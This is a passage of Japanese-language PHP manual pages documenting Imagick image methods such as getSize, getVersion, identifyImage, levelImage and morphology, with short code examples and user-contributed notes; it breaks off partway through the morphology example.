画像の水平方向および垂直方向のサンプリング係数を含む連想配列を返します。

エラー / 例外

エラー時に ImagickException をスローします。

User Contributed Notes

There are no user contributed notes for this page.


Returns the size associated with the Imagick object

  • ≪ Imagick::getSamplingFactors
  • Imagick::getSizeOffset ≫
  • PHP Manual
  • Imagick
  • Returns the size associated with the Imagick object

Imagick::getSize

(PECL imagick 2, PECL imagick 3)

Imagick::getSize — Returns the size associated with the Imagick object

説明

public Imagick::getSize ( ) : array

Get the size in pixels associated with the Imagick object, previously set by Imagick::setSize().

注意:

This method just returns the size that was set using Imagick::setSize(). If you want to get the actual width / height of the image, use Imagick::getImageWidth() and Imagick::getImageHeight().

返り値

Returns the size associated with the Imagick object as an array with the keys "columns" and "rows".

例

例1 Getting the size of a raw RGB image set at 200x400, after scaling to 400x800 (compared to width / height)

<?php
//Set size first and then load the raw image
$img = new Imagick();
$img->setSize(200, 400);
$img->readImage("image.rgb");

$img->scaleImage(400, 800);

$size = $img->getSize();
print_r($size);

echo "$img->getImageWidth()."x".$img->getImageHeight();
?>

上の例の出力は以下となります。

Array
(
    [columns] => 200
    [rows] => 400
)
400x800

User Contributed Notes

There are no user contributed notes for this page.


サイズのオフセットを返す

  • ≪ Imagick::getSize
  • Imagick::getVersion ≫
  • PHP Manual
  • Imagick
  • サイズのオフセットを返す

Imagick::getSizeOffset

(PECL imagick 2, PECL imagick 3)

Imagick::getSizeOffset — サイズのオフセットを返す

説明

public Imagick::getSizeOffset ( ) : int

Imagick オブジェクトのサイズのオフセットを返します。 このメソッドは、ImageMagick バージョン 6.2.9 以降で Imagick をコンパイルした場合に使用可能です。

返り値

Imagick オブジェクトのサイズのオフセットを返します。

エラー / 例外

エラー時に ImagickException をスローします。

User Contributed Notes

There are no user contributed notes for this page.


ImageMagick API のバージョンを返す

  • ≪ Imagick::getSizeOffset
  • Imagick::haldClutImage ≫
  • PHP Manual
  • Imagick
  • ImageMagick API のバージョンを返す

Imagick::getVersion

(PECL imagick 2, PECL imagick 3)

Imagick::getVersion — ImageMagick API のバージョンを返す

説明

public static Imagick::getVersion ( ) : array

ImageMagick API のバージョンを文字列と数値で返します。

返り値

ImageMagick API のバージョンを文字列と数値で返します。

エラー / 例外

エラー時に ImagickException をスローします。

User Contributed Notes

pasel at blueend dot com 27-Nov-2013 01:18
You may check your version like this:

<?php
$v = Imagick::getVersion();
preg_match('/ImageMagick ([0-9]+\.[0-9]+\.[0-9]+)/', $v['versionString'], $v);
if(version_compare($v[1],'6.2.8')<=0){
   print "Your ImageMagick Version {$v[1]} is '6.2.8' or older, please upgrade!";
}
?>
holdoffhunger at gmail dot com 08-May-2012 11:37
The getVersion function for the ImageMagick class returns an array, with two values, one linked to the key value of 'versionNumber' and another linked to the key value of 'versionString'.  The version number provides a simple integer, while the string provides the actual x.y.z version number, the release date, and the URL for the ImageMagick site.

Today (May 8, 2012), when calling this function, the results are...

Number: 1654
String: ImageMagick 6.7.6-8 2012-05-02 Q16 http://www.imagemagick.org

Last month (around April 15, 2012), when calling this function, the results were...

Number: 1654
String: ImageMagick 6.7.6-1 2012-04-09 Q16 http://www.imagemagick.org

So, I'm not sure why the "Number" value has not changed, but the "String" value is definitely responding to changes in time.

The code for producing these results:

<?php

        // Author: holdoffhunger@gmail.com

    $imagick_version = Imagick::getVersion();

    $imagick_version_number = $imagick_version['versionNumber'];
    $imagick_version_string = $imagick_version['versionString'];

    print("Number: $imagick_version_number");

    print("<br>");

    print("String: $imagick_version_string");

?>
mwu at digitaltorque dot com 22-Feb-2011 11:40
Since it's not clear from the documention what this function returns:

print_r(imagick::getVersion());

Array
(
    [versionNumber] => 1632
    [versionString] => ImageMagick 6.6.0-4 2010-11-16 Q16 http://www.imagemagick.org
)


画像内の色を置換する

  • ≪ Imagick::getVersion
  • Imagick::hasNextImage ≫
  • PHP Manual
  • Imagick
  • 画像内の色を置換する

Imagick::haldClutImage

(PECL imagick 3)

Imagick::haldClutImage — 画像内の色を置換する

説明

public Imagick::haldClutImage ( Imagick $clut , int $channel = Imagick::CHANNEL_DEFAULT ) : bool

画像内の色を、Hald ルックアップテーブルを使って置換します。 Hald 画像を作るには HALD カラーコーダーを使います。

パラメータ

clut

Hald ルックアップ画像を含む Imagick オブジェクト。

channel

そのモードで有効なチャネル定数を指定します。 複数のチャネルを適用するには、チャネル定数 をビット演算子で組み合わせます。デフォルトは Imagick::CHANNEL_DEFAULT です。 チャネル定数 の一覧を参照ください。

返り値

成功した場合に true を返します。

エラー / 例外

エラー時に ImagickException をスローします。

例

例1 Imagick::haldClutImage()

<?php
function haldClutImage($imagePath) {
    $imagick = new \Imagick(realpath($imagePath));
    $imagickPalette = new \Imagick(realpath("images/hald/hald_8.png"));
    $imagickPalette->sepiatoneImage(55);
    $imagick->haldClutImage($imagickPalette);
    header("Content-Type: image/jpg");
    echo $imagick->getImageBlob();
}

?>

User Contributed Notes

There are no user contributed notes for this page.


オブジェクトが次の画像を保持しているかどうかを調べる

  • ≪ Imagick::haldClutImage
  • Imagick::hasPreviousImage ≫
  • PHP Manual
  • Imagick
  • オブジェクトが次の画像を保持しているかどうかを調べる

Imagick::hasNextImage

(PECL imagick 2, PECL imagick 3)

Imagick::hasNextImage — オブジェクトが次の画像を保持しているかどうかを調べる

説明

public Imagick::hasNextImage ( ) : bool

リスト内でひとつ先に進んだときにまだオブジェクトが画像を保持していれば true を返します。

返り値

リスト内でひとつ先に進んだときにまだオブジェクトが画像を保持していれば true、していなければ false を返します。

User Contributed Notes

There are no user contributed notes for this page.


オブジェクトが前の画像を保持しているかどうかを調べる

  • ≪ Imagick::hasNextImage
  • Imagick::identifyFormat ≫
  • PHP Manual
  • Imagick
  • オブジェクトが前の画像を保持しているかどうかを調べる

Imagick::hasPreviousImage

(PECL imagick 2, PECL imagick 3)

Imagick::hasPreviousImage — オブジェクトが前の画像を保持しているかどうかを調べる

説明

public Imagick::hasPreviousImage ( ) : bool

リスト内で逆方向にひとつ進んだときにまだオブジェクトが画像を保持していれば true を返します。

返り値

リスト内で逆方向にひとつ進んだときにまだオブジェクトが画像を保持していれば true、していなければ false を返します。

User Contributed Notes

There are no user contributed notes for this page.


Description

  • ≪ Imagick::hasPreviousImage
  • Imagick::identifyImage ≫
  • PHP Manual
  • Imagick
  • Description

Imagick::identifyFormat

(PECL imagick 3 >= 3.3.0)

Imagick::identifyFormat — Description

説明

public Imagick::identifyFormat ( string $embedText ) : string|false

Replaces any embedded formatting characters with the appropriate image property and returns the interpreted text. See http://www.imagemagick.org/script/escape.php for escape sequences.

パラメータ

embedText

A string containing formatting sequences e.g. "Trim box: %@ number of unique colors: %k".

返り値

Returns format失敗した場合に false を返します.

例

例1 Imagick::identifyFormat()

<?php
        $output = "Output of 'Trim box: %@ number of unique colors: %k' is: <br/>";
        $imagick = new \Imagick(realpath("./images/artifact/mask.png"));
        $output .= $imagick->identifyFormat("Trim box: %@ number of unique colors: %k");

?>

User Contributed Notes

There are no user contributed notes for this page.


画像を識別し、属性を取得する

  • ≪ Imagick::identifyFormat
  • Imagick::implodeImage ≫
  • PHP Manual
  • Imagick
  • 画像を識別し、属性を取得する

Imagick::identifyImage

(PECL imagick 2, PECL imagick 3)

Imagick::identifyImage — 画像を識別し、属性を取得する

説明

public Imagick::identifyImage ( bool $appendRawOutput = false ) : array

画像を識別し、属性を返します。属性には画像の幅や高さ、サイズなどが含まれます。

パラメータ

appendRawOutput

true の場合、生の出力が配列に追加されます。

返り値

画像を識別し、属性を返します。属性には画像の幅や高さ、サイズなどが含まれます。

例1 結果の書式の例

Array
(
    [imageName] => /some/path/image.jpg
    [format] => JPEG (Joint Photographic Experts Group JFIF format)
    [geometry] => Array
        (
            [width] => 90
            [height] => 90
        )

    [type] => TrueColor
    [colorSpace] => RGB
    [resolution] => Array
        (
            [x] => 300
            [y] => 300
        )

    [units] => PixelsPerInch
    [fileSize] => 1.88672kb
    [compression] => JPEG
    [signature] => 9a6dc8f604f97d0d691c0286176ddf992e188f0bebba98494b2146ee2d7118da
)

エラー / 例外

エラー時に ImagickException をスローします。

User Contributed Notes

rhuanpachecok at gmail dot com 23-May-2020 03:41
I have created a function to parse the "rawOutput" because the information provided by this function is quite useless.

function parseIdentify($info) {
    $lines = explode("\n", $info);

    $outputs = [];
    $output = [];
    $keys = [];

    $currSpaces = 0;
    $raw = false;

    foreach($lines as $line) {
        $trimLine = trim($line);

        if(empty($trimLine)) continue;

        if($raw) {
            preg_match('/^[0-9]+:\s/', $trimLine, $match);

            if(!empty($match)) {
                $regex = '/([\d]+):';
                $regex .= '\s(\([\d|\s]{1,3},[\d|\s]{1,3},[\d|\s]{1,3},[\d|\s]{1,3}\))';
                $regex .= '\s(#\w+)';
                $regex .= '\s(srgba\([\d|\s]{1,3},[\d|\s]{1,3},[\d|\s]{1,3},[\d|\s|.]+\)|\w+)/';

                preg_match($regex, $trimLine, $matches);
                array_shift($matches);

                $output['Image'][$raw][] = $matches;

                continue;
            }

            else {
                $raw = false;
                array_pop($keys);
            }
        }

        preg_match('/^\s+/', $line, $match);

        $spaces = isset($match[0]) ? strlen($match[0]) : $spaces = 0;
        $parts = preg_split('/:\s/', $trimLine, 2);

        $_key = ucwords($parts[0]);
        $_key = str_replace(' ', '', $_key);
        $_val = isset($parts[1]) ? $parts[1] : [];

        if($_key == 'Image') {
            if(!empty($output)) {
                $outputs[] = $output['Image'];
                $output = [];
            }

            $_val = [];
        }

        if($spaces < $currSpaces) {
            for($i = 0; $i < ($currSpaces - $spaces) / 2; $i++) {
                array_pop($keys);
            }
        }

        if(is_array($_val)) {
            $_key = rtrim($_key, ':');
            $keys[] = $_key;

            if($_key == 'Histogram' || $_key == 'Colormap') {
                $raw = $_key;
            }
        }

        $currSpaces = $spaces;
        $arr = &$output;

        foreach($keys as $key) {
            if(!isset($arr[$key])) {
                $arr[$key] = $_val;
            }

            $arr = &$arr[$key];
        }

        if(!is_array($_val)) {
            $arr[$_key] = $_val;
        }

    }

    $outputs[] = $output['Image'];

    return count($outputs) > 1 ? $outputs : $outputs[0];
}

Usage example:

$img = new Imagick('example.png');
$identify = parseIdentify($img->identifyImage(true)['rawOutput']);

But the "rawOutput" that this function returns only contains the first frame if it is a GIF. Alternatively you can use the command "identify" to get the data of all the frames:

$identify = parseIdentify(shell_exec('identify -verbose example.gif'));
php at ontheroad dot net dot nz 22-Nov-2010 08:04
If you use the option to append the raw output, you can extract the mime type from there.  I'm not sure what's going on in the background here, but it seems far less useful than the command line identify tool.
rob at OhReally dot nl 04-Jun-2008 06:49
The array returned by Imagick::identifyImage():

Array
(
    [imageName] => /some/path/image.jpg
    [format] => JPEG (Joint Photographic Experts Group JFIF format)
    [geometry] => Array
        (
            [width] => 90
            [height] => 90
        )

    [type] => TrueColor
    [colorSpace] => RGB
    [resolution] => Array
        (
            [x] => 300
            [y] => 300
        )

    [units] => PixelsPerInch
    [fileSize] => 1.88672kb
    [compression] => JPEG
    [signature] => 9a6dc8f604f97d0d691c0286176ddf992e188f0bebba98494b2146ee2d7118da
)

Looks like the only way to get the mimetype is getimagesize()...


新しい画像をコピーとして作成する

  • ≪ Imagick::identifyImage
  • Imagick::importImagePixels ≫
  • PHP Manual
  • Imagick
  • 新しい画像をコピーとして作成する

Imagick::implodeImage

(PECL imagick 2, PECL imagick 3)

Imagick::implodeImage — 新しい画像をコピーとして作成する

説明

public Imagick::implodeImage ( float $radius ) : bool

既存の画像をコピーして新しい画像を作成します。 既存の画像のピクセルを、指定したパーセンテージで "内破" します。

パラメータ

radius

内破処理の半径。

返り値

成功した場合に true を返します。

エラー / 例外

エラー時に ImagickException をスローします。

例

例1 Imagick::implodeImage()

<?php
function implodeImage($imagePath) {
    $imagick = new \Imagick(realpath($imagePath));
    $imagick->implodeImage(0.0001);
    header("Content-Type: image/jpg");
    echo $imagick->getImageBlob();

}

?>

User Contributed Notes

There are no user contributed notes for this page.


画像のピクセルをインポートする

  • ≪ Imagick::implodeImage
  • Imagick::inverseFourierTransformImage ≫
  • PHP Manual
  • Imagick
  • 画像のピクセルをインポートする

Imagick::importImagePixels

(PECL imagick 2 >= 2.3.0, PECL imagick 3)

Imagick::importImagePixels — 画像のピクセルをインポートする

説明

public Imagick::importImagePixels ( int $x , int $y , int $width , int $height , string $map , int $storage , array $pixels ) : bool

配列から画像にピクセルをインポートします。map は、通常は 'RGB' です。このメソッドのパラメータには次の制約があります。配列内のピクセルの量が、 width x height x mapの長さ と一致しなければなりません。 このメソッドは、ImageMagick バージョン 6.4.5 以降で Imagick をコンパイルした場合に使用可能です。

パラメータ

x

画像の x 位置。

y

画像の y 位置。

width

画像の幅。

height

画像の高さ。

map

ピクセルの並び順を表す文字列。たとえば RGB のようになります。以下の文字を任意の順で組み合わせることができます。 R = red, G = green, B = blue, A = alpha (0 is transparent), O = opacity (0 is opaque), C = cyan, Y = yellow, M = magenta, K = black, I = intensity (for grayscale), P = pad.

storage

ピクセルの格納方式。 pixel 定数 の一覧を参照ください。

pixels

ピクセルの配列。

返り値

成功した場合に true を返します。

エラー / 例外

エラー時に ImagickException をスローします。

例

例1 Imagick::importImagePixels() の例

<?php

/* ピクセルの配列を生成します。各色について 2000 ピクセルとなります */
$count = 2000 * 3;

$pixels =
   array_merge(array_pad(array(), $count, 0),
               array_pad(array(), $count, 255),
               array_pad(array(), $count, 0),
               array_pad(array(), $count, 255),
               array_pad(array(), $count, 0));

/* 幅と高さ。ピクセル数を 3 で割った量が面積となります。
   3 というのは 'RGB' からきたもので、1 ピクセルあたり 3 つの値があるということです */
$width = $height = pow((count($pixels) / 3), 0.5);

/* 空の画像を作成します */
$im = new Imagick();
$im->newImage($width, $height, 'gray');

/* ピクセルが画像に取り込みます。
   width * height * strlen("RGB") が count($pixels) と一致しなければなりません */
$im->importImagePixels(0, 0, $width, $height, "RGB", Imagick::PIXEL_CHAR, $pixels);

/* jpeg 画像として出力します */
$im->setImageFormat('jpg');
header("Content-Type: image/jpg");
echo $im;

?>

上の例の出力は、 たとえば以下のようになります。

出力例 : Imagick::importImagePixels()

User Contributed Notes

There are no user contributed notes for this page.


Description

  • ≪ Imagick::importImagePixels
  • Imagick::labelImage ≫
  • PHP Manual
  • Imagick
  • Description

Imagick::inverseFourierTransformImage

(PECL imagick 3 >= 3.3.0)

Imagick::inverseFourierTransformImage — Description

説明

public Imagick::inverseFourierTransformImage ( Imagick $complement , bool $magnitude ) : bool

Implements the inverse discrete Fourier transform (DFT) of the image either as a magnitude / phase or real / imaginary image pair.

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

complement

The second image to combine with this one to form either the magnitude / phase or real / imaginary image pair.

magnitude

If true, combine as magnitude / phase pair otherwise a real / imaginary image pair.

返り値

成功した場合に true を返します。

User Contributed Notes

There are no user contributed notes for this page.


ラベルを画像に追加する

  • ≪ Imagick::inverseFourierTransformImage
  • Imagick::levelImage ≫
  • PHP Manual
  • Imagick
  • ラベルを画像に追加する

Imagick::labelImage

(PECL imagick 2, PECL imagick 3)

Imagick::labelImage — ラベルを画像に追加する

説明

public Imagick::labelImage ( string $label ) : bool

ラベルを画像に追加します。

パラメータ

label

追加するラベル。

返り値

成功した場合に true を返します。

User Contributed Notes

There are no user contributed notes for this page.


画像のレベルを調節する

  • ≪ Imagick::labelImage
  • Imagick::linearStretchImage ≫
  • PHP Manual
  • Imagick
  • 画像のレベルを調節する

Imagick::levelImage

(PECL imagick 2, PECL imagick 3)

Imagick::levelImage — 画像のレベルを調節する

説明

public Imagick::levelImage ( float $blackPoint , float $gamma , float $whitePoint , int $channel = Imagick::CHANNEL_DEFAULT ) : bool

画像のレベルを調整します。 指定した白と黒の範囲にある色を、利用可能な色の範囲全体に拡大します。 黒の点、中間点、白の点をパラメータで指定します。 黒の点は、画像の中で一番暗い色を表します。 これより暗い色の点はゼロに設定されます。 中間点は、画像に適用するガンマ補正を指定します。 黒の点は、画像の中で一番明るい色を表します。 これより明るい色の点は最大値に設定されます。

パラメータ

blackPoint

画像の黒の点。

gamma

ガンマ値。

whitePoint

画像の白の点。

channel

チャネルモードに対応したチャネル定数を指定します。 複数のチャネルに適用するには、 ビット演算子でチャネル型定数を組み合わせます。 チャネル定数 の一覧を参照ください。

返り値

成功した場合に true を返します。

エラー / 例外

エラー時に ImagickException をスローします。

例

例1 Imagick::levelImage()

<?php
function levelImage($blackPoint, $gamma, $whitePoint) {
    $imagick = new \Imagick();
    $imagick->newPseudoimage(500, 500, 'gradient:black-white');

    $imagick->setFormat('png');
    $quantum = $imagick->getQuantum();
    $imagick->levelImage($blackPoint / 100 , $gamma, $quantum * $whitePoint / 100);

    header("Content-Type: image/png");
    echo $imagick->getImageBlob();
}

?>

User Contributed Notes

Maxim Lovchikov 28-Dec-2010 12:18
I have a trouble with this method because think that quantum range is 0 - 255.
But quantum range for levelImage is 0-65535. You can get quantum range with Imagick::getQuantumRange
There is a right piece of code

$img->levelImage (0, 1.0, 65535);


画像の輝度を引き伸ばして飽和させる

  • ≪ Imagick::levelImage
  • Imagick::liquidRescaleImage ≫
  • PHP Manual
  • Imagick
  • 画像の輝度を引き伸ばして飽和させる

Imagick::linearStretchImage

(PECL imagick 2, PECL imagick 3)

Imagick::linearStretchImage — 画像の輝度を引き伸ばして飽和させる

説明

public Imagick::linearStretchImage ( float $blackPoint , float $whitePoint ) : bool

画像の輝度を引き伸ばして飽和させます。

パラメータ

blackPoint

画像の黒の点。

whitePoint

画像の白の点。

返り値

成功した場合に true を返します。

例

例1 Imagick::linearStretchImage()

<?php
function linearStretchImage($imagePath, $blackThreshold, $whiteThreshold) {
    $imagick = new \Imagick(realpath($imagePath));
    $pixels = $imagick->getImageWidth() * $imagick->getImageHeight();
    $imagick->linearStretchImage($blackThreshold * $pixels, $whiteThreshold * $pixels);

    header("Content-Type: image/jpg");
    echo $imagick->getImageBlob();
}

?>

User Contributed Notes

SkepticaLee 11-Jun-2014 12:54
"Black" and "white" points here are pixel counts from the darkest and brightest ends respectively. To turn the darkest 90% of the pixels black, and the brightest 5% white, use the following:

<?php
$im = new Imagick ("some image.png");
list ($width, $height) = array_values ($im->getImageGeometry ());
$px = $width * $height;
$im->modulateImage (100, 0, 100);
$im->linearStretchImage ($px * 0.9, $px * 0.05);
$im->writeImage ("temp.jpg");
?>


画像を動かす

  • ≪ Imagick::linearStretchImage
  • Imagick::listRegistry ≫
  • PHP Manual
  • Imagick
  • 画像を動かす

Imagick::liquidRescaleImage

(PECL imagick 2 >= 2.2.0, PECL imagick 3)

Imagick::liquidRescaleImage — 画像を動かす

説明

public Imagick::liquidRescaleImage ( int $width , int $height , float $delta_x , float $rigidity ) : bool

このメソッドは、liquid rescale という方法で画像を拡大・縮小します。 このメソッドは、seam carving という技術を実装したものです。 このメソッドを期待通りに動作させるには、liblqr サポートを含めて ImageMagick をコンパイルしなければなりません。 このメソッドは、ImageMagick バージョン 6.3.9 以降で Imagick をコンパイルした場合に使用可能です。

パラメータ

width

変更後のサイズの幅。

height

変更後のサイズの高さ。

delta_x

seam が x 軸をどれだけ横切るか。 0 を渡すと seam が直線になります。

rigidity

直線でない seam のバイアスを導入します。このパラメータは通常は 0 です。

返り値

成功した場合に true を返します。

参考

  • Imagick::resizeImage() - 画像のサイズを変更する

User Contributed Notes

spider at man dot net 20-Nov-2011 11:00
<?php

    /* Create new object */
    $im = new Imagick( 'test.jpg' );

    /* Scale down */
    $im->liquidRescaleImage( 500, 200, 3, 25 );

    /* Display */
    header( 'Content-Type: image/jpg' );
    echo $im;

    ?>


Description

  • ≪ Imagick::liquidRescaleImage
  • Imagick::magnifyImage ≫
  • PHP Manual
  • Imagick
  • Description

Imagick::listRegistry

(PECL imagick 3 >= 3.3.0)

Imagick::listRegistry — Description

説明

public static Imagick::listRegistry ( ) : array

List all the registry settings. Returns an array of all the key/value pairs in the registry

パラメータ

この関数にはパラメータはありません。

返り値

An array containing the key/values from the registry.

User Contributed Notes

There are no user contributed notes for this page.


画像を 2 倍に比例拡大する

  • ≪ Imagick::listRegistry
  • Imagick::mapImage ≫
  • PHP Manual
  • Imagick
  • 画像を 2 倍に比例拡大する

Imagick::magnifyImage

(PECL imagick 2, PECL imagick 3)

Imagick::magnifyImage — 画像を 2 倍に比例拡大する

説明

public Imagick::magnifyImage ( ) : bool

画像を元のサイズの 2 倍に比例拡大します。

返り値

成功した場合に true を返します。

エラー / 例外

エラー時に ImagickException をスローします。

例

例1 Imagick::magnifyImage()

<?php
function magnifyImage($imagePath) {
    $imagick = new \Imagick(realpath($imagePath));
    $imagick->magnifyImage();
    header("Content-Type: image/jpg");
    echo $imagick->getImageBlob();
}

?>

User Contributed Notes

There are no user contributed notes for this page.


画像の色を、参照画像の中の最も近い色に置き換える

  • ≪ Imagick::magnifyImage
  • Imagick::matteFloodfillImage ≫
  • PHP Manual
  • Imagick
  • 画像の色を、参照画像の中の最も近い色に置き換える

Imagick::mapImage

(PECL imagick 2, PECL imagick 3)

Imagick::mapImage — 画像の色を、参照画像の中の最も近い色に置き換える

警告

この関数は Imagick 3.4.4 以降では 非推奨 になりました。この関数に依存したコードを書くのはやめましょう。

説明

public Imagick::mapImage ( Imagick $map , bool $dither ) : bool

パラメータ

map

dither

返り値

成功した場合に true を返します。

エラー / 例外

エラー時に ImagickException をスローします。

User Contributed Notes

There are no user contributed notes for this page.


色の透明度を変更する

  • ≪ Imagick::mapImage
  • Imagick::medianFilterImage ≫
  • PHP Manual
  • Imagick
  • 色の透明度を変更する

Imagick::matteFloodfillImage

(PECL imagick 2, PECL imagick 3)

Imagick::matteFloodfillImage — 色の透明度を変更する

警告

この関数は Imagick 3.4.4 以降では 非推奨 になりました。この関数に依存したコードを書くのはやめましょう。

説明

public Imagick::matteFloodfillImage ( float $alpha , float $fuzz , mixed $bordercolor , int $x , int $y ) : bool

対象となるピクセルとその近傍の透明度を変更します。 FillToBorderMethod を指定した場合は、 画像の描画色に該当しない近傍ピクセルについても透明度を変更します。

パラメータ

alpha

不透明度レベル。1.0 は完全な不透明、0.0 は完全な透明を表します。

fuzz

画像の fuzz 値。 どの程度の色を「同じ色」とみなすかを表します。

bordercolor

輪郭の色を表す ImagickPixel オブジェクトあるいは文字列。

x

操作の開始位置の x 座標。

y

操作の開始位置の y 座標。

返り値

成功した場合に true を返します。

エラー / 例外

エラー時に ImagickException をスローします。

変更履歴

バージョン | 説明
PECL imagick 2.1.0 | 色を表す文字列を 3 番目のパラメータとして指定できるようになりました。 これまでのバージョンでは ImagickPixel オブジェクトしか指定できませんでした。

User Contributed Notes

There are no user contributed notes for this page.


デジタルフィルタを適用する

  • ≪ Imagick::matteFloodfillImage
  • Imagick::mergeImageLayers ≫
  • PHP Manual
  • Imagick
  • デジタルフィルタを適用する

Imagick::medianFilterImage

(PECL imagick 2, PECL imagick 3)

Imagick::medianFilterImage — デジタルフィルタを適用する

警告

この関数は Imagick 3.4.4 以降では 非推奨 になりました。この関数に依存したコードを書くのはやめましょう。

説明

public Imagick::medianFilterImage ( float $radius ) : bool

デジタルフィルタを適用してノイジーな画像の品質を向上させます。 各ピクセルの内容を、radius で定義した近傍ピクセルの中央値で置き換えます。

パラメータ

radius

近傍ピクセルの半径。

返り値

成功した場合に true を返します。

エラー / 例外

エラー時に ImagickException をスローします。

例

例1 Imagick::medianFilterImage()

<?php
function medianFilterImage($radius, $imagePath) {
    $imagick = new \Imagick(realpath($imagePath));
    @$imagick->medianFilterImage($radius);
    header("Content-Type: image/jpg");
    echo $imagick->getImageBlob();
}

?>

User Contributed Notes

There are no user contributed notes for this page.


画像のレイヤーをマージする

  • ≪ Imagick::medianFilterImage
  • Imagick::minifyImage ≫
  • PHP Manual
  • Imagick
  • 画像のレイヤーをマージする

Imagick::mergeImageLayers

(PECL imagick 2 >= 2.1.0, PECL imagick 3)

Imagick::mergeImageLayers — 画像のレイヤーをマージする

説明

public Imagick::mergeImageLayers ( int $layer_method ) : Imagick

画像のレイヤーをひとつにまとめます。このメソッドは、PSD のように複数レイヤーに対応した画像フォーマットを扱うときに便利です。 マージ処理は layer_method で制御します。ここにはレイヤーをマージする方法を定義します。 このメソッドは、ImageMagick バージョン 6.3.7 以降で Imagick をコンパイルした場合に使用可能です。

パラメータ

layer_method

Imagick::LAYERMETHOD_* 定数のいずれか。

返り値

マージした画像を含む Imagick オブジェクトを返します。

エラー / 例外

エラー時に ImagickException をスローします。

参考

  • Imagick::flattenImages() - 画像シーケンスをマージする

例

例1 Imagick::mergeImageLayers()

<?php
function mergeImageLayers($layerMethodType, $imagePath1, $imagePath2) {

    $imagick = new \Imagick(realpath($imagePath));

    $imagick2 = new \Imagick(realpath($imagePath2));
    $imagick->addImage($imagick2);
    $imagick->setImageFormat('png');

    $result = $imagick->mergeImageLayers($layerMethodType);
    header("Content-Type: image/png");
    echo $result->getImageBlob();
}

?>

User Contributed Notes

There are no user contributed notes for this page.


画像をその半分のサイズに比例縮小する

  • ≪ Imagick::mergeImageLayers
  • Imagick::modulateImage ≫
  • PHP Manual
  • Imagick
  • 画像をその半分のサイズに比例縮小する

Imagick::minifyImage

(PECL imagick 2, PECL imagick 3)

Imagick::minifyImage — 画像をその半分のサイズに比例縮小する

説明

public Imagick::minifyImage ( ) : bool

画像のサイズを元の半分に比例縮小します。

返り値

成功した場合に true を返します。

User Contributed Notes

There are no user contributed notes for this page.


明度、飽和度、色相を制御する

  • ≪ Imagick::minifyImage
  • Imagick::montageImage ≫
  • PHP Manual
  • Imagick
  • 明度、飽和度、色相を制御する

Imagick::modulateImage

(PECL imagick 2, PECL imagick 3)

Imagick::modulateImage — 明度、飽和度、色相を制御する

説明

public Imagick::modulateImage ( float $brightness , float $saturation , float $hue ) : bool

画像の明度、飽和度、色相を制御します。 色相は、現在位置からの絶対回転角のパーセンテージで表します。 たとえば 50 の場合は反時計回りに 90 度の回転を表します。 また 150 の場合は時計回りの 90 度の回転、0 および 200 はともに 180 度の回転を表します。

パラメータ

brightness

saturation

hue

返り値

成功した場合に true を返します。

例

例1 Imagick::modulateImage()

<?php
function modulateImage($imagePath, $hue, $brightness, $saturation) {
    $imagick = new \Imagick(realpath($imagePath));
    $imagick->modulateImage($brightness, $saturation, $hue);
    header("Content-Type: image/jpg");
    echo $imagick->getImageBlob();
}

?>

User Contributed Notes

Anonymous 30-Nov-2008 03:36
Here's a example of this function:

<?php
  $img = new Imagick();
  $img->readImage($image_file_name);
  // leave hue at 100%, drop saturation by 100%, leave brightness at 100%
  $img->modulateImage(100, 0, 100);
  $img->writeImage($thumb_file_name);
  $img->clear();
  $img->destroy();
?>


合成画像を作成する

  • ≪ Imagick::modulateImage
  • Imagick::morphImages ≫
  • PHP Manual
  • Imagick
  • 合成画像を作成する

Imagick::montageImage

(PECL imagick 2, PECL imagick 3)

Imagick::montageImage — 合成画像を作成する

説明

public Imagick::montageImage ( ImagickDraw $draw , string $tile_geometry , string $thumbnail_geometry , int $mode , string $frame ) : Imagick

複数の画像を合成して画像を作成します。 合成画像上で、画像の名前でタイル状に並べられます。 またオプションで各タイルの直下に画像を置くこともできます。

パラメータ

draw

フォント名、サイズ、色をこのオブジェクトから取得します。

tile_geometry

行単位、ページ単位のタイル数 (例 6x4+0+0)。

thumbnail_geometry

各サムネイルの画像サイズと枠線のサイズ (例 120x120+4+3>)。

mode

サムネイルのフレームモード。 モンタージュモード定数 を参照ください。

frame

画像を枠線で囲みます (例 15x15+3+3)。 枠の色は、サムネイルのマット色となります。

返り値

成功した場合に true を返します。

User Contributed Notes

There are no user contributed notes for this page.


複数の画像をモーフィングする

  • ≪ Imagick::montageImage
  • Imagick::morphology ≫
  • PHP Manual
  • Imagick
  • 複数の画像をモーフィングする

Imagick::morphImages

(PECL imagick 2, PECL imagick 3)

Imagick::morphImages — 複数の画像をモーフィングする

説明

public Imagick::morphImages ( int $number_frames ) : Imagick

複数の画像をモーフィングします。 それぞれの画像のピクセルとサイズが線形補間され、 ある画像から次の画像へと変形していきます。

パラメータ

number_frames

生成する中間画像の数。

返り値

このメソッドは、成功した場合に新しい Imagick オブジェクトを返します。 エラー時に ImagickException をスローします。

User Contributed Notes

There are no user contributed notes for this page.


Description

  • ≪ Imagick::morphImages
  • Imagick::mosaicImages ≫
  • PHP Manual
  • Imagick
  • Description

Imagick::morphology

(PECL imagick 3 >= 3.3.0)

Imagick::morphology — Description

説明

public Imagick::morphology ( int $morphologyMethod , int $iterations , ImagickKernel $ImagickKernel , int $channel = Imagick::CHANNEL_DEFAULT ) : bool

Applies a user supplied kernel to the image according to the given morphology method.

パラメータ

morphologyMethod

Which morphology method to use one of the \Imagick::MORPHOLOGY_* constants.

iterations

The number of iteration to apply the morphology function. A value of -1 means loop until no change found. How this is applied may depend on the morphology method. Typically this is a value of 1.

ImagickKernel

channel

返り値

成功した場合に true を返します。

例

例1 Convolve Imagick::morphology()

<?php
        $imagick = $this->getCharacter();
        $kernel = \ImagickKernel::fromBuiltIn(\Imagick::KERNEL_GAUSSIAN, "5,1");
        $imagick->morphology(\Imagick::MORPHOLOGY_CONVOLVE, 2, $kernel);
        header("Content-Type: image/png");
        echo $imagick->getImageBlob();

?>

例2 Correlate Imagick::morphology()

<?php

        // Top-left pixel must be black
        // Bottom right pixel must be white
        // We don't care about the rest.

        $imagick = $this->getCharacterOutline();
        $kernel = \ImagickKernel::fromMatrix(self::$correlateMatrix, [2, 2]);
        $imagick->morphology(\Imagick::MORPHOLOGY_CORRELATE, 1, $kernel);
        header("Content-Type: image/png");
        echo $imagick->getImageBlob();

?>

例3 Erode Imagick::morphology()

<?php
        $canvas = $this->getCharacterOutline();
        $kernel = \ImagickKernel::fromBuiltIn(\Imagick::KERNEL_OCTAGON, "3");
